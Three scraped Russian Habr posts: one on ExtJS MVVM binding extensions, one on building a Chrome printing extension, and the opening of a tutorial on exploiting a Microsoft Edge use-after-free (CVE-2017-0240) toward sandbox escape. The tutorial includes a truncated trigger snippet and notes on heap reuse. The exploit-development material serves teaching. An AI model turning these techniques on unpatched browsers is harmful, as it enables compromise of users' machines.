Это касается последнего вопроса. Если мы привяжемся из внешнего контейнера на свойство внутреннего компонента (например, на выделенную строку таблицы) — привязка работать не будет ([пруф](https://fiddle.sencha.com/#fiddle/tt2)). Это случается как только у внутреннего компонента появляется своя ViewModel — изменения свойств публикуются только в неё (а если точнее, то в первую по иерархии). На официальном форуме этот вопрос поднимался несколько раз — и пока тишина, есть лишь только зарегистрированный реквест (EXTJS-15503). Т.е, если взглянуть на картинку из КДПВ с этой точки зрения, то получается вот что:
Т.е. контейнер 1 может привязаться ко всем внутренним компонентам, кроме контейнера 2. Тот в свою очередь так же, кроме контейнера 3. Потому что все компоненты публикуют изменения свойств только в первую по иерархии ViewModel, начиная со своей.
Слишком много информации? Попробуем разобраться.
---
Часть 2. За работу!
-------------------
[](http://lurkmore.to/%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C_%D0%BD%D0%B0%D0%BF%D0%B8%D0%BB%D1%8C%D0%BD%D0%B8%D0%BA%D0%BE%D0%BC)
*ПРЕДУПРЕЖДЕНИЕ. Решения, описанные ниже, носят статус экспериментальных. Используйте их с осторожностью, потому что обратная совместимость гарантируется не во всех случаях. Замечания, исправления и другая помощь приветствуются. Поехали!*
Итак, для начала я бы хотел сформулировать своё видение разработки компонентов с MVVM:
1. Для изменения состояния компонента использовать конфигурационные свойства и их публичные setter'ы.
2. Иметь возможность привязываться к собственным конфигурационным свойствам (внутри компонента).
3. Иметь возможность привязываться к свойствам компонента снаружи вне зависимости, есть у него своя ViewModel или нет.
4. Не задумываться об уникальности имён внутри иерархии данных ViewModel'ей.
#### Фикс №1. Публикуем изменения вверх
Начнём с чего-нибудь попроще, например, с пункта 3. Здесь дело в классе-примеси `Ext.mixin.Bindable` и его методе [publishState](https://docs.sencha.com/extjs/6.0/6.0.0-classic/source/Bindable.html#Ext-mixin-Bindable-method-publishState). Если заглянуть внутрь, то мы увидим, что изменения публикуются во ViewModel, которая находится первой по иерархии. Давайте сделаем так, чтобы родительская ViewModel об этом тоже знала:
```
publishState: function (property, value) {
var me = this,
vm = me.lookupViewModel(),
parentVm = me.lookupViewModel(true),
path = me.viewModelKey;
if (path && property && parentVm) {
path += '.' + property;
parentVm.set(path, value);
}
Ext.mixin.Bindable.prototype.publishState.apply(me, arguments);
}
```
| До | После |
| --- | --- |
| | |
[Демо на Sencha Fiddle](https://fiddle.sencha.com/#fiddle/uhv).
#### Фикс №2. Привязываемся к собственным конфигурационным свойствам
Касаемо пункта 2. Кажется несправедливым, что снаружи есть возможность привязаться к свойствам компонента, а изнутри — нет. Вернее, с указанием `reference` — можно, но раз мы решили, что это не очень красивый вариант, то как минимум вручную можем сделать лучше:
**Fiddle.view.UsersGrid**
```
Ext.define('Fiddle.view.UsersGrid', {
extend: 'Ext.grid.Panel',
xtype: 'usersgrid',
viewModel: {
data: {
readOnly: false,
selection: null
}
},
config: {
readOnly: false
},
tbar: [{
text: 'Add',
itemId: 'addButton',
bind: {
disabled: '{readOnly}'
}
}, {
text: 'Remove',
itemId: 'removeButton',
bind: {
disabled: '{readOnly}',
text: 'Remove {selection.name}'
}
}],
// ...
updateReadOnly: function (readOnly) {
this.getViewModel().set('readOnly', readOnly);
},
updateSelection: function (selection) {
this.getViewModel().set('selection', selection);
}
});
```
[Демо на Sencha Fiddle](https://fiddle.sencha.com/#fiddle/ui2)
Выглядит лучше, правда? Снаружи привязываемся с указанием `reference`, а изнутри — без. Теперь каким бы он ни был, код компонента не меняется. Более того, теперь мы можем добавить два компонента в один контейнер, дать им свои названия `reference` — и всё будет работать!
Автоматизируем? Добавим к предыдущему методу `publishState`:
```
if (property && vm && vm.getView() == me) {
vm.set(property, value);
}
```
Вот и всё. Оцените, насколько лаконичными стали привязки к своим конфигурационным свойствам:
**Fiddle.view.UsersGrid**
```
Ext.define('Fiddle.view.UsersGrid', {
extend: 'Ext.grid.Panel',
xtype: 'usersgrid',
viewModel: {
},
config: {
readOnly: false
},
publishes: ['readOnly'],
tbar: [{
text: 'Add',
itemId: 'addButton',
bind: {
disabled: '{readOnly}'
}
}, {
text: 'Remove',
itemId: 'removeButton',
bind: {
disabled: '{readOnly}',
text: 'Remove {selection.name}'
}
}],
columns: [{
dataIndex: 'id',
header: 'id'
}, {
dataIndex: 'name',
header: 'name'
}]
});
```
**Ext.ux.mixin.Bindable**
```
/* global Ext */
/**
* An override to notify parent ViewModel about current component's published properties changes
* and to make own ViewModel contain current component's published properties values.
*/
Ext.define('Ext.ux.mixin.Bindable', {
initBindable: function () {
var me = this;
Ext.mixin.Bindable.prototype.initBindable.apply(me, arguments);
me.publishInitialState();
},
/**
Notifying both own and parent ViewModels about state changes
*/
publishState: function (property, value) {
var me = this,
vm = me.lookupViewModel(),
parentVm = me.lookupViewModel(true),
path = me.viewModelKey;
if (path && property && parentVm) {
path += '.' + property;
parentVm.set(path, value);
}
Ext.mixin.Bindable.prototype.publishState.apply(me, arguments);
if (property && vm && vm.getView() == me) {
vm.set(property, value);
}
},
/**
Publish initial state
*/
publishInitialState: function () {
var me = this,
state = me.publishedState || (me.publishedState = {}),
publishes = me.getPublishes(),
name;
for (name in publishes) {
if (state[name] === undefined) {
me.publishState(name, me[name]);
}
}
}
}, function () {
Ext.Array.each([Ext.Component, Ext.Widget], function (Class) {
Class.prototype.initBindable = Ext.ux.mixin.Bindable.prototype.initBindable;
Class.prototype.publishState = Ext.ux.mixin.Bindable.prototype.publishState;
Class.mixin([Ext.ux.mixin.Bindable]);
});
});
```
[Демо на Sencha Fiddle](https://fiddle.sencha.com/#fiddle/ui3).
#### Фикс №3. Разделяем ViewModel'и компонентов
Самое сложное: пункт 4. Для чистоты эксперимента предыдущие фиксы не используем. Дано: два вложенных компонента с одинаковым конфигурационным свойвтвом — `color`. Каждый использует ViewModel для привязки к этому значению. Требуется: привязать свойство внутреннего компонента к свойству внешнего. Попробуем?
**Fiddle.view.OuterContainer**
```
Ext.define('Fiddle.view.OuterContainer', {
// ...
viewModel: {
data: {
color: null
}
},
config: {
color: null
},
items: [{
xtype: 'textfield',
fieldLabel: 'Enter color',
listeners: {
change: 'colorField_change'
}
}, {
xtype: 'displayfield',
fieldLabel: 'Color',
bind: '{color}'
}, {
xtype: 'innercontainer',
bind: {
color: '{color}'
}
}],
colorField_change: function (field, value) {
this.setColor(value);
},
updateColor: function (color) {
this.getViewModel().set('color', color);
}
})
```
**Fiddle.view.InnerContainer**
```
Ext.define('Fiddle.view.InnerContainer', {
// ...
viewModel: {
data: {
color: null
}
},
config: {
color: null
},
items: [{
xtype: 'displayfield',
fieldLabel: 'Color',
bind: '{color}'
}],
updateColor: function (color) {
this.getViewModel().set('color', color);
}
})
```
[Демо на Sencha Fiddle](https://fiddle.sencha.com/#fiddle/uqv).
Выглядит просто, но не работает. Почему? Потому что если внимательно приглядеться, то следующие формы записи абсолютно идентичны:
Вариант 1.
| | |
| --- | --- |
|
```
Ext.define('Fiddle.view.OuterContainer', {
// ...
viewModel: {
data: {
color: null
}
},
items: [{
xtype: 'innercontainer',
bind: {
color: '{color}'
}
}]
// ...
})
```
|
```
Ext.define('Fiddle.view.InnerContainer', {
// ...
viewModel: {
data: {
color: null
}
},
config: {
color: null
},
items: [{
xtype: 'displayfield',
fieldLabel: 'Color',
bind: '{color}'
}]
// ...
})
```
|
Вариант 2.
| | |
| --- | --- |
|
```
Ext.define('Fiddle.view.OuterContainer', {
// ...
viewModel: {
data: {
color: null
}
},
items: [{
xtype: 'innercontainer'
}]
// ...
})
```
|
```
Ext.define('Fiddle.view.InnerContainer', {
// ...
viewModel: {
data: {
color: null
}
},
config: {
color: null
},
bind: {
color: '{color}'
},
items: [{
xtype: 'displayfield',
fieldLabel: 'Color',
bind: '{color}'
}]
// ...
})
```
|
Внимание, вопрос! К свойству `color` чьей ViewModel'и мы биндимся во внутреннем контейнере? Как ни странно, в обоих случаях — к внутренней. При этом, судя по документации и картинке из шапки, данные ViewModel'и внешнего контейнера являются прототипом для данных ViewModel'и внутреннего. А т.к. у последнего переопределено значение `color`, то при изменении значения у прототипа, у наследника оно остаётся старым (`null`). Т.е. в принципе, глюка нет — так и должно быть.
Как можно выйти из ситуации? Самое очевидное — убрать `color` из внутренней ViewModel'и. Тогда нам также придётся убрать обработчик `updateColor`. И конфигурационное свойство — тоже в топку! Будем надеяться, что в родительском контейнере всегда будет ViewModel со свойством `color`.
Или нет? Надежда — это не то, с чем мы имеем дело. Другой вариант — это переназвать все конфигурационные свойства (и поля ViewModel'и) так, чтобы не было дублирования (в теории): `outerContainerColor` и `innerContainerColor`. Но это тоже ненадёжно. В больших проектах столько имён, да и вообще не очень красиво получается.
Вот было бы здорово, описывая внешний контейнер, указывать привязку как-нибудь так:
```
Ext.define('Fiddle.view.OuterContainer', {
viewModel: {
data: {
color: null
}
},
items: [{
xtype: 'innercontainer',
bind: {
color: '{outercontainer.color}' // с префиксом
}
}]
})
```
Не буду томить, это тоже можно сделать:
**Ext.ux.app.SplitViewModel + Ext.ux.app.bind.Template**
```
/**
An override to split ViewModels data by their instances
*/
Ext.define('Ext.ux.app.SplitViewModel', {
override: 'Ext.app.ViewModel',
config: {
/**
@cfg {String}
ViewModel name
*/
name: undefined,
/**
@cfg {String}
@private
name + sequential identifer
*/
uniqueName: undefined,
/**
@cfg {String}
@private
uniqueName + nameDelimiter
*/
prefix: undefined
},
nameDelimiter: '|',
expressionRe: /^(?:\{[!]?(?:(\d+)|([a-z_][\w\-\.|]*))\})$/i,
uniqueNameRe: /-\d+$/,
privates: {
applyData: function (newData, data) {
newData = this.getPrefixedData(newData);
data = this.getPrefixedData(data);
return this.callParent([newData, data]);
},
applyLinks: function (links) {
links = this.getPrefixedData(links);
return this.callParent([links]);
},
applyFormulas: function (formulas) {
formulas = this.getPrefixedData(formulas);
return this.callParent([formulas]);
},
bindExpression: function (path, callback, scope, options) {
path = this.getPrefixedPath(path);
return this.callParent([path, callback, scope, options]);
}
},
bind: function (descriptor, callback, scope, options) {
if (Ext.isString(descriptor)) {
descriptor = this.getPrefixedDescriptor(descriptor);
}
return this.callParent([descriptor, callback, scope, options]);
},
linkTo: function (key, reference) {
key = this.getPrefixedPath(key);
return this.callParent([key, reference]);
},
get: function (path) {
path = this.getPrefixedPath(path);
return this.callParent([path]);
},
set: function (path, value) {
if (Ext.isString(path)) {
path = this.getPrefixedPath(path);
}
else if (Ext.isObject(path)) {
path = this.getPrefixedData(path);
}
this.callParent([path, value]);
},
applyName: function (name) {
name = name || this.type || 'viewmodel';
return name;
},
applyUniqueName: function (id) {
id = id || Ext.id(null, this.getName() + '-');
return id;
},
applyPrefix: function (prefix) {
prefix = prefix || this.getUniqueName() + this.nameDelimiter;
return prefix;
},
/**
Apply a prefix to property names
*/
getPrefixedData: function (data) {
var name, newName, value,
result = {};
if (!data) {
return null;
}
for (name in data) {
value = data[name];
newName = this.getPrefixedPath(name);
result[newName] = value;
}
return result;
},
/**
Get a descriptor with a prefix
*/
getPrefixedDescriptor: function (descriptor) {
var descriptorParts = this.expressionRe.exec(descriptor);
if (!descriptorParts) {
return descriptor;
}
var path = descriptorParts[2]; // '{foo}' -> 'foo'
descriptor = descriptor.replace(path, this.getPrefixedPath(path));
return descriptor;
},
/**
Get a path with a correct prefix
Examples:
foo.bar -> viewmodel-123|foo.bar
viewmodel|foo.bar -> viewmodel-123|foo.bar
viewmodel-123|foo.bar -> viewmodel-123|foo.bar (no change)
*/
getPrefixedPath: function (path) {
var nameDelimiterPos = path.lastIndexOf(this.nameDelimiter),
hasName = nameDelimiterPos != -1,
name,
isUnique,
vmUniqueName,
vm;
if (hasName) {
// bind to a ViewModel by name: viewmodel|foo.bar
name = path.substring(0, nameDelimiterPos + this.nameDelimiter.length - 1);
isUnique = this.uniqueNameRe.test(name);
if (!isUnique) {
// replace name by uniqueName: viewmodel-123|foo.bar
vm = this.findViewModelByName(name);
if (vm) {
vmUniqueName = vm.getUniqueName();
path = vmUniqueName + path.substring(nameDelimiterPos);
}
else {
Ext.log({ level: 'warn' }, 'Cannot find a ViewModel instance by a specifed name/type: ' + name);
}
}
}
else {
// bind to this ViewModel: foo.bar -> viewmodel-123|foo.bar
path = this.getPrefix() + path;
}
return path;
},
/**
Find a ViewModel by name up by hierarchy
@param {String} name ViewModel's name
@param {Boolean} skipThis Pass true to ignore this instance
*/
findViewModelByName: function (name, skipThis) {
var result,
vm = skipThis ? this.getParent() : this;
while (vm) {
if (vm.getName() == name) {
return vm;
}
vm = vm.getParent();
}
return null;
}
});
/**
This override replaces tokenRe to match a token with nameDelimiter
*/
Ext.define('Ext.ux.app.bind.Template', {
override: 'Ext.app.bind.Template',
tokenRe: /\{[!]?(?:(?:(\d+)|([a-z_][\w\-\.|]*))(?::([a-z_\.]+)(?:\(([^\)]*?)?\))?)?)\}/gi
});
```
Теперь так и пишем (только вместо точки другой символ, т.к. она зарезервирована):
```
Ext.define('Fiddle.view.OuterContainer', {
viewModel: {
name: 'outercontainer',
data: {
color: null
}
},
items: [{
xtype: 'innercontainer',
bind: {
color: '{outercontainer|color}'
}
}]
})
```
[Демо на Sencha Fiddle](https://fiddle.sencha.com/#fiddle/uue).
Т.е. мы прописали более конкретный `bind` с указанием имени ViewModel'и. При вынесении кода ViewModel'и в отдельный файл, имя можно не указывать — оно возьмётся из `alias`. Всё, больше никаких изменений не требуется. На свою ViewModel можно привязываться по старинке без префикса. Его мы указываем для вложенных компонентов, у которых есть (или может появиться) своя ViewModel.
Под капотом этого расширения к полям ViewModel'и добавляется префикс, состоящий из её имени (`name` или `alias`) и уникального `id` (как для компонентов). Затем, в момент инициализации компонентов, он добавляется к названиям всех привязок.
#### Что это даёт?
Данные ViewModel'ей будут разделены по иерархии. В привязках будет конкретно видно, на свойство чьей ViewModel'и они ссылаются. Теперь можно не беспокоиться за дублирование свойств внутри иерархии ViewModel'ей. Можно писать повторно используемые компоненты без оглядки на родительский контейнер. В связке с предыдущими фиксами в сложных компонентах объём кода сокращается радикально.
[Последний пример с фиксами №№1-3](https://fiddle.sencha.com/#fiddle/uul)
Но на этом этапе частично теряется обратная совместимость. Т.е. если вы, разрабатывая компоненты, полагались на присутствие каких-то свойств во ViewModel'и родительского компонента, то последний фикс вам всё сломает: необходимо будет добавить в привязку префикс, соответствующий имени/alias'у родительской ViewModel'и.
### Итого
Исходный код расширений лежит на GitHub, добро пожаловать:
[github.com/alexeysolonets/extjs-mvvm-extensions](https://github.com/alexeysolonets/extjs-mvvm-extensions)
Они применены у нас в нескольких проектах — полёт более чем нормальный. Помимо того, что кода пишем меньше, появилось более чёткое понимание, как связаны компоненты — всё стало кристально ясно, голова уже не болит ~~и перхоть исчезла~~.
Для себя есть один вопрос: оставить последнее расширение в виде глобального, которое действует на все ViewModel'и (`override`), или вынести как класс, от которого наследоваться? Второе решение вроде более демократично, но не внесёт ли оно большей путаницы? В общем, пока этот вопрос открытый.
Какие у вас были нюансы при разработке c MVVM? Обсудим? | https://habr.com/ru/post/266773/ | null | ru | null |
# Google Chrome Extension: Печатаем статьи с habrahabr
Как-то вечером, уходя с работы, наткнулся здесь на интересную статью. Так как я люблю читать печатный вариант, да и время было уже позднее — хотелось домой, но и хотелось прочесть — решил распечатать и почитать в дороге.
Ну и полез я печатать, браузер мне предложил распечатать более 35 страниц, но откуда там может быть 20 страниц? Дело в том что печать шла вместе со всеми элементами, что делает пост узким, соответственно длинным, та и еще и комментарии ту да же.
Начал искать другие варианты, на habrahabr я новенький, мог и не найти, но искал что то вроде версии для печати, так и не нашел, решил пойти другим путем, сохранил статью в [evernote](http://www.evernote.com/), и затем распечатать ее, страниц для печати уменьшилось, но не на много, та и комментарии остались, и еще текст был узким, в конце концов пришел к тому что нужно что то, что бы можно было в один клик распечатать статью с данного сайта.
Так родилось расширение для браузера Google Chrome — **HabraPrint**.
Все что от вас требуется нажать на одну кнопку и распечатать.
Это мое первое расширения, как и первый пост, надеюсь меня исправят там где я ошибся.
И так что мы имеем внутри:
Создаем папку с названием нашего расширения, куда будем сохранять последующие файлы.
Далее первым делом создаем файл **manifest**:
Здесь указываем браузеру, что он и с какими разрешениями ставит.
```
{
"name": "HabraPrint",
"version": "0.1",
"description": "Печать в один клик поста с сайта habrahabr.ru",
"icons": {
"128": "img/icon_128.png",
"64": "img/icon_64.png",
"48": "img/icon_48.png",
"32": "img/icon_32.png",
"16": "img/icon_16.png"
},
"minimum_chrome_version":"6.0",
"permissions": [ "tabs","http://habrahabr.ru/*", "https://habrahabr.ru/*"],
"background_page": "background.html",
"content_scripts": [
{
"js": [ "js/jquery-1.7.1.min.js","js/content.js" ],
"css": ["css/content.css"],
"run_at": "document_end",
"matches": [ "http://habrahabr.ru/*", "https://habrahabr.ru/*" ]
}
],
"page_action": {
"default_icon": "img/icon_19.png",
"default_title": "HabrPrint"
},
"options_page": "options.html"
}
```
Указываем:
**name** — Имя расширения
**version** — текущая версия
**description** — описания вашего расширения
**icons** — указываем пути к иконкам расширения <**key**/размер>:<**value**/путь к изображению>
**minimum\_chrome\_version**-указываем минимальную версию браузера
**permissions** — здесь указываем к чему вам потребуется доступ
**background\_page** — указываем путь к странице которая будет выполнятся в фоне
**content\_scripts** — указываем пути к файлам которые будут внедрены в страницу
**page\_action** — данное свойство указывает на то что кнопка расширения будет размещена в адресной строке браузера, указываем путь к иконке и название
**options\_page** — путь к странице настроек
с подробным описанием файла можно ознакомится в [документации](http://code.google.com/chrome/extensions/manifest.html)
Данный файл является обязательным для каждого расширения, как и все файлы указанные в нем.
Теперь будем двигаться по списку.
Я разнес файлы относительно их типа по папкам для удобства использования.
Следующим файлом создаем **background\_page**:
```
```
Как видите здесь имеется только каркас страницы, и подключение javascript скрипта который отвечает за действия в фоновом режиме
**background.js**
```
chrome.tabs.onCreated.addListener(function(tab){
urlDetected(tab.id, null, tab);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab){
if(changeInfo.status=='complete'){
urlDetected(tabId, changeInfo, tab);
}
});
function urlDetected(tabId, changeInfo, tab){
chrome.tabs.getSelected(null,function(tab) {
var re=/.+habrahabr.+\/(\d+)\//;
if(re.test(tab.url)){
chrome.pageAction.show(tabId);
}else{
chrome.pageAction.hide(tabId);
}
});
}
chrome.pageAction.onClicked.addListener(function(tabId) {
//узнаем какие настройки и выполняем действия
if(!localStorage["radio"]||localStorage["radio"]=='popup'){
PrintIt();
}else if(localStorage["radio"]=='same'){
chrome.tabs.getSelected(null, function(tab) {
chrome.tabs.sendRequest(tab.id, {
type:'print-same'
});
});
}
});
```
В данном файле вешаем обработчики события на создание, и обновление вкладок, проверяем url на наличие нашего домена и цифр (использую проверку для того что бы ~~теоретически~~ определить находится ли пользователь на странице с постом или нет), на основе чего отображаю или скрываю значок расширения. Таким образом расширение отображается ~~теоретически~~ только на странице с постом.
Далее вешаем обработчик на клик по кнопке нашего приложения и на основе настроек, нашего расширения выполняем действие.
В настройках можно выбрать печатать в том же окне или в всплывающем, но об этом позднее.
Так как вызов всплывающего окна мне разрешил выполнить только данный файл(background\_page), здесь разместилась функция отвечающая за показ того самого окна.
```
function PrintIt(){
if(wnd){
wnd.close();
}
stext='';
chrome.tabs.getSelected(null, function(tab) {
chrome.tabs.sendRequest(tab.id, {
type:'returnHtml'
}, function(response) {
stext=response.html;
wnd=window.open("", "habrPrint", 'statusbar=no,toolbar=no,scrollbars=yes,resizable=yes'');
wnd.document.write("\
\
\
\
\
"+response.title+"\
\
\
\
");
wnd.document.write(stext);
wnd.document.write("");
wnd.document.close();
setTimeout(function(){
wnd.print();
wnd.close();
}, 100)
});
});
}
```
Тут я укоротил немного функцию бы было нагляднее. Как видите используется обычный window.open и в него передается html со страницы с текстом поста. Для получения текста отправляем запрос, с названием действия, в content script, в ответ получаем innerHTML поста и записываем в окно wnd.document.write().
Далее напишем наш content script:
```
var getElementsByClassName = function(getClass){
if(document.querySelectorAll) {
return document.querySelectorAll("." + getClass);
}
else if(document.getElementsByClassName) {
return document.getElementsByClassName(getClass);
}
else {
var list = document.getElementsByTagName('*'), i = list.length,
classArray = getClass.split(/\s+/), result = [];
while(i--) {
if(list[i].className.search('\\b' + classArray + '\\b') != -1) {
result.push(list[i]);
}
}
return result;
}
};
function pageCleaner(){
$('body *').removeClass('habrNoPrint').removeClass('habrPrint');
}
function printSame(){
$('body *').addClass('habrNoPrint');
$('#layout, .content_left, .company_post, .post, .post *').removeClass('habrNoPrint');
$('.content_left').addClass('habrPrint');
window.print();
window.setTimeout(pageCleaner, 0);
}
chrome.extension.onRequest.addListener(function(request, sender, sendResponse) {
if(request.type == 'print-same'){
printSame();
}
if(request.type == 'returnHtml'){
var elem=getElementsByClassName('post')[0];
var title=document.getElementsByTagName('title')[0];
sendResponse({'html':elem.innerHTML,'title':title.innerHTML});
}
});
```
Здесь размещаем слушатель запросов, и при получении его выполняем действие указанное в параметрах.
Здесь всего два действия либо отдать html поста, предыдущему скрипту, либо выполнить функции, которая отвечает за выполнение печати. В данной функции использую стили для печати, то есть указываю стилями что выводить на печать а что скрыть.
И в конце напишем страницу настроек.
В **options.html** делаем каркас страницы
```
@import "css/options.css";
### Настройки:
В сплывающем окне
Данный режим открывает всплывающее окно с печатью страницы
В том же окне
Данный режим работает с ограничение, браузер ограничивает количество вызовов, не более одного вызова раза в 5-ть секунд
Сохранить
```
Здесь всего пару радио кнопок которые устанавливают режим печати и кнопка сохранения, стили указаны в **css/options.css**, здесь описывать не стану.
Итого вышла вот такая страница:
В файле **options.js** пишем javascript который будет отвечать за сохранение настроек.
```
function getRadioGroupValue(radioGroupObj)
{
for (var i=0; i < radioGroupObj.length; i++)
if (radioGroupObj[i].checked) return radioGroupObj[i].value;
return null;
}
function readProperty(property, defValue)
{
if(localStorage[property] == null)
{
return defValue;
}
return localStorage[property];
}
window.addEventListener("load", function(){
chrome.tabs.getSelected(null, function(tab) {
var save = document.getElementById("save");
if(localStorage["radio"]){
document.getElementById("radio_"+localStorage["radio"]).checked =readProperty("radio", false);
}
save.addEventListener("click", function(){
var radio_value = getRadioGroupValue(document.habr_options_form.window);
localStorage["radio"] = radio_value;
if(localStorage["radio"]){
var sum=document.getElementById('options_callback');
sum.innerHTML='Настройки сохранены'
}
});
});
});
```
Вешаем обработчик на клик кнопки сохранения и по нему заносим значение в объект localStorage.
localStorage является ассоциативным массивом хранящий пары «название», «значение». Для сохранения значения достаточно написать:
```
localStorage["radio"] = radio_value;
```
Вот, в принципе, и все осталось загрузить наше расширение в браузер.
Переходим на вкладку «Управление расширениями» (Инструменты->Расширения), включаем «Режим разработчика», и загружаем распакованное расширение.
Для того что бы воспользоваться расширениям, откройте любой пост на habrahabr и нажмите на появившейся иконке расширения, в адресной строке браузера.
**Проблемы:**
У себя заметил что при первой загрузке расширения, появляется ошибка что то вроде «Вам не разрешено использовать функции для tabs проверьте манифест», с чем это связанно я так и не разобрался, если что объяснит буду признателен.
Источники:
[Google Chrome Extension FAQ](http://code.google.com/chrome/extensions/faq.html)
[Создание расширения для Google Chrome](http://habrahabr.ru/blogs/google_chrome/75639/)
Расширение:
[Скачать](http://dl.dropbox.com/u/37043322/habr/HabraPrint.crx)
P.S. К сожалению мои скудные познания в написании расширений не позволяют мне описать более детальнее процесс создания, но я надеюсь что кому то пригодится данное расширение.
Так же хотел бы услышать предложения, правки и замечания. Всем заранее спасибо.
**UPD**: по просьбе [bo883](https://habrahabr.ru/users/bo883/), добавил подсветку синтаксиса, и добавил подложку под код (пока что работает только в «В всплывающем окне», в скором времени добавлю и при печати в том же окне). При реализации столкнулся с проблемой что фон, добавленный через css, не печатает Chrome, но зато прекрасно печатает картинки (![]()), основываясь на этом добавляем картинку к блоку с кодом устанавливаем ей ширину и высоту равную размерам блока кода, тем самим растягивая ее на весь блок, и меняем им z-index, что бы подложить под код картинки, в итоге при печати у нас область кода имеет подложку. ([расширение](http://dl.dropbox.com/u/37043322/habr/HabraPrint.crx) обновил) | https://habr.com/ru/post/139427/ | null | ru | null |
# Эксплуатация Microsoft Edge от CVE до RCE на Windows 10
В рамках данной статьи мы достаточно подробно рассмотрим процесс написания эксплоита под уязвимость в Microsoft Edge, с последующим выходом из песочницы. Если вам интересно узнать, как выглядит этот процесс, то welcome под кат!
Введение
--------
На последнем `Pwn2Own 2019` в Монреале в категории браузеры был [продемонстрирован](https://www.thezdi.com/blog/2019/3/21/pwn2own-vancouver-2019-day-two-results) эксплоит для взлома `Microsoft Edge`. Для этого было использовано две уязвимости: `double free` в ренедере и логическая уязвимость для выхода из песочницы. Эти две уязвимости были недавно закрыты и присвоены соотвествующие `CVE`: [`CVE-2019-0940`](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0940) и [`CVE-2019-0938`](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0940). Подробнее об уязвимостях можно прочитать в блоге: [Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1](https://blog.exodusintel.com/2019/05/19/pwn2own-2019-microsoft-edge-renderer-exploitation-cve-2019-9999-part-1/) и [Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Part 2](https://blog.exodusintel.com/2019/05/27/pwn2own-2019-microsoft-edge-sandbox-escape-cve-2019-0938-part-2/).
В рамках нашей статьи мы хотим показать процесс написания подобного эксплоита и то, сколько нужно времени и ресурсов на это на примере того же `Microsoft Edge` на `Windows 10` с помощью [`CVE-2017-0240`](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0240) и [`CVE-2016-3309`](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/ms16-098). Одним из отличий будет то, что, если в эксплоите, продемонстрированном на `Pwn2Own`, для выхода из песочницы использовалась логическая уязвимость, то в нашем сценарии для выхода из песочницы будет использована уязвимость в ядре `Windows 10`. Как показывают патчи от `Microsoft`, уязвимостей в ядре находится куда больше, чем уязвимостей в реализации песочницы. В итоге, такую цепочку уязвимостей встретить намного вероятнее, и её будет полезно знать сотрудникам ИБ в компаниях.
Исходные данные
---------------
В данной статье будет рассмотрен процесс написания 1-day эксплойта для браузера `Microsoft Edge`. Будет эксплуатироваться `CVE-2017-0240`. Первый этап эксплуатации будет производиться на основе материалов из источника [1], мы получим `arbitrary address read/write` примитив, а также познакомимся с различными техниками, которые могут быть полезны при эксплуатации подобных уязвимостей. Далее будет знакомство с инструментом `pwn.js`, который поможет получить вызов произвольных функций на основе произвольного чтения и записи, также будут рассмотрены различные `mitigations` и способы их обхода. На последнем этапе будет произведена эксплуатация уязвимости ядра Windows `CVE-2016-3309` для повышения привилегий, обхода ограничений `AppContainer` и получения полного контроля над атакуемой машиной.
Эксплуатация будет проводиться на стенде c ОС `Microsoft Windows 10 Pro 1703 (10.0.15063)` и браузером `Microsoft Edge (40.15063.0.0)`.
Шаг 1. Получение `arbitrary address read/write` примитива
---------------------------------------------------------
### Описание уязвимости и получение `OOB`
Уязвимость типа `use-after-free` присутствует в методе [copyFromChannel](https://developer.mozilla.org/en-US/docs/Web/API/AudioBuffer/copyFromChannel) объекта [AudioBuffer](https://developer.mozilla.org/en-US/docs/Web/API/AudioBuffer).
> AudioBuffer — это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом AudioContext.decodeAudioData(), или из исходных данных с помощью метода AudioContext.createBuffer(). Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в AudioBufferSourceNode.
В презентации `The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10` приведен подробный анализ уязвимости и патча. При вызове метода `copyFromChannel` происходит копирование содержимого канала аудио-буфера в буфер `destination`, указанный первым аргументом. Метод также принимает номер канала (`channelNumber`) и смещение в аудио-буфере (`startInChannel`), начиная с которого необходимо производить копирование. Перед непосредственным копированием данных в `destination` в функции `CDOMAudioBuffer::Var_copyFromChannel` происходит кеширование буфера `destination` (адрес и размер буфера сохраняются в локальные переменные функции на стеке) и преобразование значений объектов `channelNumber` и `startInChannel` к типу `Int`, для чего происходит вызов метода `valueOf` преобразуемых объектов. Уязвимость заключается в том, что закешированный буфер может быть освобожден в момент преобразования типов в переопределенном методе `valueOf` объекта. Для проверки воспользуемся следующим кодом:
```
// буфер, который впоследствии будет освобожден
var t2 = new Float32Array(0x20000);
var ta = new Uint8Array(t2.buffer);
for (i=0;i
```
Для освобождения буфера в данном коде используется технология `Web Workers`. Создав пустой `Worker`, мы можем отправить ему сообщение с помощью метода `postMessage`. Второй необязательный аргумент `transfer` данного метода принимает массив `Transferable`-объектов (`ArrayBuffer`, `MessagePost` или `ImageBitmap`), права на объект будут переданы в `Worker` и объект более не будет доступен в текущем контексте, благодаря чему может быть удален. После этого происходит вызов `sleep` — функция, обеспечивающая временную остановку выполнения программы (реализуется самостоятельно). Это необходимо для того, чтобы система сборки мусора (`GC`, `Garbage Collector`) успела освободить буфер, права на который были переданы.
> Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот).
Запустив данный код в Edge под отладчиком, можно получить следующее падение.
В результате вызов `copyFromChannel` пытается копировать содержимое аудио-буфера в неалоцированную область памяти. Для эксплуатации уязвимости необходимо добиться выделения в этой области памяти каких-либо объектов. В данном случае отлично подойдет сегмент массива.
